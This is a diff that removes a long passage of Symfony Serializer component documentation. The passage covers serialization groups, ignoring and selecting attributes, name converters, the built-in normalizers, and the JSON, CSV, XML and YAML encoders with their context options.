-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\YamlFileLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new YamlFileLoader('/path/to/your/definition.yaml'));
-
-* XML files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\XmlFileLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
-
-.. _component-serializer-attributes-groups-attributes:
-
-Then, create your groups definition:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\Groups;
-
-        class MyObj
-        {
-            #[Groups(['group1', 'group2'])]
-            public string $foo;
-
-            #[Groups(['group4'])]
-            public string $anotherProperty;
-
-            #[Groups(['group3'])]
-            public function getBar() // is* methods are also supported
-            {
-                return $this->bar;
-            }
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        Acme\MyObj:
-            attributes:
-                foo:
-                    groups: ['group1', 'group2']
-                anotherProperty:
-                    groups: ['group4']
-                bar:
-                    groups: ['group3']
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="Acme\MyObj">
-                <attribute name="foo">
-                    <group>group1</group>
-                    <group>group2</group>
-                </attribute>
-
-                <attribute name="anotherProperty">
-                    <group>group4</group>
-                </attribute>
-
-                <attribute name="bar">
-                    <group>group3</group>
-                </attribute>
-            </class>
-        </serializer>
-
-You are now able to serialize only attributes in the groups you want::
-
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $obj = new MyObj();
-    $obj->foo = 'foo';
-    $obj->anotherProperty = 'anotherProperty';
-    $obj->setBar('bar');
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->normalize($obj, null, ['groups' => 'group1']);
-    // $data = ['foo' => 'foo'];
-
-    $obj2 = $serializer->denormalize(
-        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        'MyObj',
-        null,
-        ['groups' => ['group1', 'group3']]
-    );
-    // $obj2 = MyObj(foo: 'foo', bar: 'bar')
-
-    // To get all groups, use the special value `*` in `groups`
-    $obj3 = $serializer->denormalize(
-        ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        'MyObj',
-        null,
-        ['groups' => ['*']]
-    );
-    // $obj2 = MyObj(foo: 'foo', anotherProperty: 'anotherProperty', bar: 'bar')
-
-.. _ignoring-attributes-when-serializing:
-
-Selecting Specific Attributes
------------------------------
-
-It is also possible to serialize only a set of specific attributes::
-
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class User
-    {
-        public string $familyName;
-        public string $givenName;
-        public Company $company;
-    }
-
-    class Company
-    {
-        public string $name;
-        public string $address;
-    }
-
-    $company = new Company();
-    $company->name = 'Les-Tilleuls.coop';
-    $company->address = 'Lille, France';
-
-    $user = new User();
-    $user->familyName = 'Dunglas';
-    $user->givenName = 'Kévin';
-    $user->company = $company;
-
-    $serializer = new Serializer([new ObjectNormalizer()]);
-
-    $data = $serializer->normalize($user, null, [AbstractNormalizer::ATTRIBUTES => ['familyName', 'company' => ['name']]]);
-    // $data = ['familyName' => 'Dunglas', 'company' => ['name' => 'Les-Tilleuls.coop']];
-
-Only attributes that are not ignored (see below) are available.
-If some serialization groups are set, only attributes allowed by those groups can be used.
-
-As for groups, attributes can be selected during both the serialization and deserialization processes.
-
-.. _serializer_ignoring-attributes:
-
-Ignoring Attributes
--------------------
-
-All accessible attributes are included by default when serializing objects.
-There are two options to ignore some of those attributes.
-
-Option 1: Using ``#[Ignore]`` Attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App\Model;
-
-        use Symfony\Component\Serializer\Annotation\Ignore;
-
-        class MyClass
-        {
-            public string $foo;
-
-            #[Ignore]
-            public string $bar;
-        }
-
-    .. code-block:: yaml
-
-        App\Model\MyClass:
-            attributes:
-                bar:
-                    ignore: true
-
-    .. code-block:: xml
-
-        <?xml version="1.0" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Model\MyClass">
-                <attribute name="bar" ignore="true"/>
-            </class>
-        </serializer>
-
-You can now ignore specific attributes during serialization::
-
-    use App\Model\MyClass;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $obj = new MyClass();
-    $obj->foo = 'foo';
-    $obj->bar = 'bar';
-
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->normalize($obj);
-    // $data = ['foo' => 'foo'];
-
-Option 2: Using the Context
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Pass an array with the names of the attributes to ignore using the
-``AbstractNormalizer::IGNORED_ATTRIBUTES`` key in the ``context`` of the
-serializer method::
-
-    use Acme\Person;
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $person = new Person();
-    $person->setName('foo');
-    $person->setAge(99);
-
-    $normalizer = new ObjectNormalizer();
-    $encoder = new JsonEncoder();
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-    $serializer->serialize($person, 'json', [AbstractNormalizer::IGNORED_ATTRIBUTES => ['age']]); // Output: {"name":"foo"}
-
-.. _component-serializer-converting-property-names-when-serializing-and-deserializing:
-
-Converting Property Names when Serializing and Deserializing
-------------------------------------------------------------
-
-Sometimes serialized attributes must be named differently than properties
-or getter/setter methods of PHP classes.
-
-The Serializer component provides a handy way to translate or map PHP field
-names to serialized names: The Name Converter System.
-
-Given you have the following object::
-
-    class Company
-    {
-        public string $name;
-        public string $address;
-    }
-
-And in the serialized form, all attributes must be prefixed by ``org_`` like
-the following::
-
-    {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
-
-A custom name converter can handle such cases::
-
-    use Symfony\Component\Serializer\NameConverter\NameConverterInterface;
-
-    class OrgPrefixNameConverter implements NameConverterInterface
-    {
-        public function normalize(string $propertyName): string
-        {
-            return 'org_'.$propertyName;
-        }
-
-        public function denormalize(string $propertyName): string
-        {
-            // removes 'org_' prefix
-            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
-        }
-    }
-
-The custom name converter can be used by passing it as second parameter of any
-class extending :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractNormalizer`,
-including :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $nameConverter = new OrgPrefixNameConverter();
-    $normalizer = new ObjectNormalizer(null, $nameConverter);
-
-    $serializer = new Serializer([$normalizer], [new JsonEncoder()]);
-
-    $company = new Company();
-    $company->name = 'Acme Inc.';
-    $company->address = '123 Main Street, Big City';
-
-    $json = $serializer->serialize($company, 'json');
-    // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
-    $companyCopy = $serializer->deserialize($json, Company::class, 'json');
-    // Same data as $company
-
-.. note::
-
-    You can also implement
-    :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
-    to access the current class name, format and context.
-
-.. _using-camelized-method-names-for-underscored-attributes:
-
-CamelCase to snake_case
-~~~~~~~~~~~~~~~~~~~~~~~
-
-In many formats, it's common to use underscores to separate words (also known
-as snake_case). However, in Symfony applications is common to use CamelCase to
-name properties (even though the `PSR-1 standard`_ doesn't recommend any
-specific case for property names).
-
-Symfony provides a built-in name converter designed to transform between
-snake_case and CamelCased styles during serialization and deserialization
-processes::
-
-    use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-
-    $normalizer = new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter());
-
-    class Person
-    {
-        public function __construct(
-            private string $firstName,
-        ) {
-        }
-
-        public function getFirstName(): string
-        {
-            return $this->firstName;
-        }
-    }
-
-    $kevin = new Person('Kévin');
-    $normalizer->normalize($kevin);
-    // ['first_name' => 'Kévin'];
-
-    $anne = $normalizer->denormalize(['first_name' => 'Anne'], 'Person');
-    // Person object with firstName: 'Anne'
-
-.. _serializer_name-conversion:
-
-Configure name conversion using metadata
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When using this component inside a Symfony application and the class metadata
-factory is enabled as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`,
-this is already set up and you only need to provide the configuration. Otherwise::
-
-    // ...
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    $metadataAwareNameConverter = new MetadataAwareNameConverter($classMetadataFactory);
-
-    $serializer = new Serializer(
-        [new ObjectNormalizer($classMetadataFactory, $metadataAwareNameConverter)],
-        ['json' => new JsonEncoder()]
-    );
-
-Now configure your name conversion mapping. Consider an application that
-defines a ``Person`` entity with a ``firstName`` property:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App\Entity;
-
-        use Symfony\Component\Serializer\Annotation\SerializedName;
-
-        class Person
-        {
-            public function __construct(
-                #[SerializedName('customer_name')]
-                private string $firstName,
-            ) {
-            }
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        App\Entity\Person:
-            attributes:
-                firstName:
-                    serialized_name: customer_name
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Entity\Person">
-                <attribute name="firstName" serialized-name="customer_name"/>
-            </class>
-        </serializer>
-
-This custom mapping is used to convert property names when serializing and
-deserializing objects::
-
-    $serialized = $serializer->serialize(new Person('Kévin'), 'json');
-    // {"customer_name": "Kévin"}
-
-Serializing Boolean Attributes
-------------------------------
-
-If you are using isser methods (methods prefixed by ``is``, like
-``App\Model\Person::isSportsperson()``), the Serializer component will
-automatically detect and use it to serialize related attributes.
-
-The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``,
-and ``can``.
-
-Using Callbacks to Serialize Properties with Object Instances
--------------------------------------------------------------
-
-When serializing, you can set a callback to format a specific object property::
-
-    use App\Model\Person;
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoder = new JsonEncoder();
-
-    // all callback parameters are optional (you can omit the ones you don't use)
-    $dateCallback = function (object $innerObject, object $outerObject, string $attributeName, string $format = null, array $context = []): string {
-        return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ISO8601) : '';
-    };
-
-    $defaultContext = [
-        AbstractNormalizer::CALLBACKS => [
-            'createdAt' => $dateCallback,
-        ],
-    ];
-
-    $normalizer = new GetSetMethodNormalizer(null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-
-    $person = new Person();
-    $person->setName('cordoval');
-    $person->setAge(34);
-    $person->setCreatedAt(new \DateTime('now'));
-
-    $serializer->serialize($person, 'json');
-    // Output: {"name":"cordoval", "age": 34, "createdAt": "2014-03-22T09:43:12-0500"}
-
-.. _component-serializer-normalizers:
-
-Normalizers
------------
-
-Normalizers turn **objects** into **arrays** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for
-normalizing (object to array) and
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for
-denormalizing (array to object).
-
-Normalizers are enabled in the serializer passing them as its first argument::
-
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $normalizers = [new ObjectNormalizer()];
-    $serializer = new Serializer($normalizers, []);
-
-Built-in Normalizers
-~~~~~~~~~~~~~~~~~~~~
-
-The Serializer component provides several built-in normalizers:
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-    This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
-    to read and write in the object. It means that it can access to properties
-    directly and through getters, setters, hassers, issers, canners, adders and removers.
-    It supports calling the constructor during the denormalization process.
-
-    Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get``, ``set``, ``has``, ``is``, ``can``, ``add`` or ``remove``
-    prefix from the method name and transforming the first letter to lowercase; e.g.
-    ``getFirstName()`` -> ``firstName``).
-
-    The ``ObjectNormalizer`` is the most powerful normalizer. It is configured by
-    default in Symfony applications with the Serializer component enabled.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-    This normalizer reads the content of the class by calling the "getters"
-    (public methods starting with "get"). It will denormalize data by calling
-    the constructor and the "setters" (public methods starting with "set").
-
-    Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get`` prefix from the method name and transforming
-    the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
-    This normalizer directly reads and writes public properties as well as
-    **private and protected** properties (from both the class and all of its
-    parent classes) by using `PHP reflection`_. It supports calling the constructor
-    during the denormalization process.
-
-    Objects are normalized to a map of property names to property values.
-
-    If you prefer to only normalize certain properties (e.g. only public properties)
-    set the ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and
-    combine the following values: ``PropertyNormalizer::NORMALIZE_PUBLIC``,
-    ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-    This normalizer works with classes that implement :phpclass:`JsonSerializable`.
-
-    It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and
-    then further normalize the result. This means that nested
-    :phpclass:`JsonSerializable` classes will also be normalized.
-
-    This normalizer is particularly helpful when you want to gradually migrate
-    from an existing codebase using simple :phpfunction:`json_encode` to the Symfony
-    Serializer by allowing you to mix which normalizers are used for which classes.
-
-    Unlike with :phpfunction:`json_encode` circular references can be handled.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
-    This normalizer converts :phpclass:`DateTimeInterface` objects (e.g.
-    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings,
-    integers or floats. By default, it converts them to strings using the `RFC3339`_ format.
-    To convert the objects to integers or floats, set the serializer context option
-    ``DateTimeNormalizer::CAST_KEY`` to ``int`` or ``float``.
-
-    .. versionadded:: 7.1
-
-        The ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-    This normalizer converts :phpclass:`DateTimeZone` objects into strings that
-    represent the name of the timezone according to the `list of PHP timezones`_.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-    This normalizer converts :phpclass:`SplFileInfo` objects into a `data URI`_
-    string (``data:...``) such that files can be embedded into serialized data.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-    This normalizer converts :phpclass:`DateInterval` objects into strings.
-    By default, it uses the ``P%yY%mM%dDT%hH%iM%sS`` format.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-    This normalizer converts a \BackedEnum objects into strings or integers.
-
-    By default, an exception is thrown when data is not a valid backed enumeration. If you
-    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
-    This normalizer works with classes that implement
-    :class:`Symfony\\Component\\Form\\FormInterface`.
-
-    It will get errors from the form and normalize them into a normalized array.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
-    This normalizer converts objects that implement
-    :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
-    into a list of errors according to the `RFC 7807`_ standard.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
-    Normalizes errors according to the API Problem spec `RFC 7807`_.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
-    Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
-    This normalizer converts objects that extend
-    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
-    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
-    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
-    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
-    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
-    You can change the string format by setting the serializer context option
-    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
-    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
-
-    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
-    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-    This normalizer converts objects that implement
-    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` into
-    translated strings, using the
-    :method:`Symfony\\Contracts\\Translation\\TranslatableInterface::trans`
-    method. You can define the locale to use to translate the object by
-    setting the ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` serializer
-    context option.
-
-.. note::
-
-    You can also create your own Normalizer to use another structure. Read more at
-    :doc:`/serializer/custom_normalizer`.
-
-Certain normalizers are enabled by default when using the Serializer component
-in a Symfony application, additional ones can be enabled by tagging them with
-:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
-
-Here is an example of how to enable the built-in
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
-faster alternative to the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            get_set_method_normalizer:
-                class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
-                tags: [serializer.normalizer]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd"
-        >
-            <services>
-                <!-- ... -->
-
-                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
-                    <tag name="serializer.normalizer"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-
-        return static function (ContainerConfigurator $container): void {
-            $container->services()
-                // ...
-                ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
-                    ->tag('serializer.normalizer')
-            ;
-        };
-
-.. _component-serializer-encoders:
-
-Encoders
---------
-
-Encoders turn **arrays** into **formats** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Encoder\\EncoderInterface`
-for encoding (array to format) and
-:class:`Symfony\\Component\\Serializer\\Encoder\\DecoderInterface` for decoding
-(format to array).
-
-You can add new encoders to a Serializer instance by using its second constructor argument::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoders = [new XmlEncoder(), new JsonEncoder()];
-    $serializer = new Serializer([], $encoders);
-
-Built-in Encoders
-~~~~~~~~~~~~~~~~~
-
-The Serializer component provides several built-in encoders:
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
-    This class encodes and decodes data in `JSON`_.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
-    This class encodes and decodes data in `XML`_.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
-    This encoder encodes and decodes data in `YAML`_. This encoder requires the
-    :doc:`Yaml Component </components/yaml>`.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
-    This encoder encodes and decodes data in `CSV`_.
-
-.. note::
-
-    You can also create your own Encoder to use another structure. Read more at
-    :doc:`/serializer/custom_encoders`.
-
-All these encoders are enabled by default when using the Serializer component
-in a Symfony application.
-
-The ``JsonEncoder``
-~~~~~~~~~~~~~~~~~~~
-
-The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
-:phpfunction:`json_encode` and :phpfunction:`json_decode` functions. It can be
-useful to modify how these functions operate in certain instances by providing
-options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use the serialization
-context to pass in these options using the key ``json_encode_options`` or
-``json_decode_options`` respectively::
-
-    $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]);
-
-These are the options available:
-
-===============================  =========================================================================================================== ================================
-Option                           Description                                                                                                 Default
-===============================  ==========================================================================================================  ================================
-``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
-``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
-``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
-===============================  ==========================================================================================================  ================================
-
-The ``CsvEncoder``
-~~~~~~~~~~~~~~~~~~
-
-The ``CsvEncoder`` encodes to and decodes from CSV.
-
-The ``CsvEncoder`` Context Options
-..................................
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the CsvEncoder an associative array::
-
-    $csvEncoder->encode($array, 'csv', $context);
-
-These are the options available:
-
-======================= =====================================================  ==========================
-Option                  Description                                            Default
-======================= =====================================================  ==========================
-``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
-                        character only)
-``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
-``csv_end_of_line``     Sets the character(s) used to mark the end of each     ``\n``
-                        line in the CSV file
-``csv_escape_char``     Sets the escape character (at most one character)      empty string
-``csv_key_separator``   Sets the separator for array's keys during its         ``.``
-                        flattening
-``csv_headers``         Sets the order of the header and data columns
-                        E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
-                        and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
-                        then ``serialize($data, 'csv', $options)`` returns
-                        ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containing formulas by prepending them  ``false``
-                        with a ``\t`` character
-``as_collection``       Always returns results as a collection, even if only   ``true``
-                        one line is decoded.
-``no_headers``          Setting to ``false`` will use first row as headers.    ``false``
-                        ``true`` generate numeric headers.
-``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
-======================= =====================================================  ==========================
-
-The ``XmlEncoder``
-~~~~~~~~~~~~~~~~~~
-
-This encoder transforms arrays into XML and vice versa.
-
-For example, take an object normalized as following::
-
-    ['foo' => [1, 2], 'bar' => true];
-
-The ``XmlEncoder`` will encode this object like that:
-
-.. code-block:: xml
-
-    <?xml version="1.0" encoding="UTF-8" ?>
-    <response>
-        <foo>1</foo>
-        <foo>2</foo>
-        <bar>1</bar>
-    </response>
-
-The special ``#`` key can be used to define the data of a node::
-
-    ['foo' => ['@bar' => 'value', '#' => 'baz']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value">
-    //        baz
-    //     </foo>
-    // </response>
-
-Furthermore, keys beginning with ``@`` will be considered attributes, and
-the key  ``#comment`` can be used for encoding XML comments::
-
-    $encoder = new XmlEncoder();
-    $encoder->encode([
-        'foo' => ['@bar' => 'value'],
-        'qux' => ['#comment' => 'A comment'],
-    ], 'xml');
-    // will return:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value"/>
-    //     <qux><!-- A comment --!><qux>
-    // </response>
-
-You can pass the context key ``as_collection`` in order to have the results
-always as a collection.
-
-.. note::
-
-    You may need to add some attributes on the root node::
-
-        $encoder = new XmlEncoder();
-        $encoder->encode([
-            '@attribute1' => 'foo',
-            '@attribute2' => 'bar',
-            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
-        ], 'xml');
-
-        // will return:
-        // <?xml version="1.0"?>
-        // <response attribute1="foo" attribute2="bar">
-        // <foo bar="value">baz</foo>
-        // </response>
-
-.. tip::
-
-    XML comments are ignored by default when decoding contents, but this
-    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
-
-    Data with ``#comment`` keys are encoded to XML comments by default. This can be
-    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
-    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
-    directly to the ``$context`` argument of the ``encode()`` method::
-
-        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
-
-The ``XmlEncoder`` Context Options
-..................................
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the XmlEncoder an associative array::
-
-    $xmlEncoder->encode($array, 'xml', $context);
-
-These are the options available:
-
-==============================  =================================================  ==========================
-Option                          Description                                        Default
-==============================  =================================================  ==========================
-``xml_format_output``           If set to true, formats the generated XML with     ``false``
-                                line breaks and indentation
-``xml_version``                 Sets the XML version attribute                     ``1.0``
-``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
-``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
-``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``
-                                type casting
-``xml_root_node_name``          Sets the root node name                            ``response``
-``as_collection``               Always returns results as a collection, even if    ``false``
-                                only one line is decoded
-``decoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
-                                to be ignored while decoding
-``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
-                                to be ignored while encoding
-``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
-``save_options``                XML saving `options with libxml`_                  ``0``
-``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
-                                generated XML
-==============================  =================================================  ==========================
-
-Example with custom ``context``::
-
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-
-    // create encoder with specified options as new default settings
-    $xmlEncoder = new XmlEncoder(['xml_format_output' => true]);
-
-    $data = [
-        'id' => 'IDHNQIItNyQ',
-        'date' => '2019-10-24',
-    ];
-
-    // encode with default context
-    $xmlEncoder->encode($data, 'xml');
-    // outputs:
-    // <?xml version="1.0"?>
-    // <response>
-    //   <id>IDHNQIItNyQ</id>
-    //   <date>2019-10-24</date>
-    // </response>
-
-    // encode with modified context
-    $xmlEncoder->encode($data, 'xml', [
-        'xml_root_node_name' => 'track',
-        'encoder_ignored_node_types' => [
-            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
-        ],
-    ]);
-    // outputs:
-    // <track>
-    //   <id>IDHNQIItNyQ</id>
-    //   <date>2019-10-24</date>
-    // </track>
-
-The ``YamlEncoder``
-~~~~~~~~~~~~~~~~~~~
-
-This encoder requires the :doc:`Yaml Component </components/yaml>` and
-transforms from and to Yaml.
-
-The ``YamlEncoder`` Context Options
-...................................
-
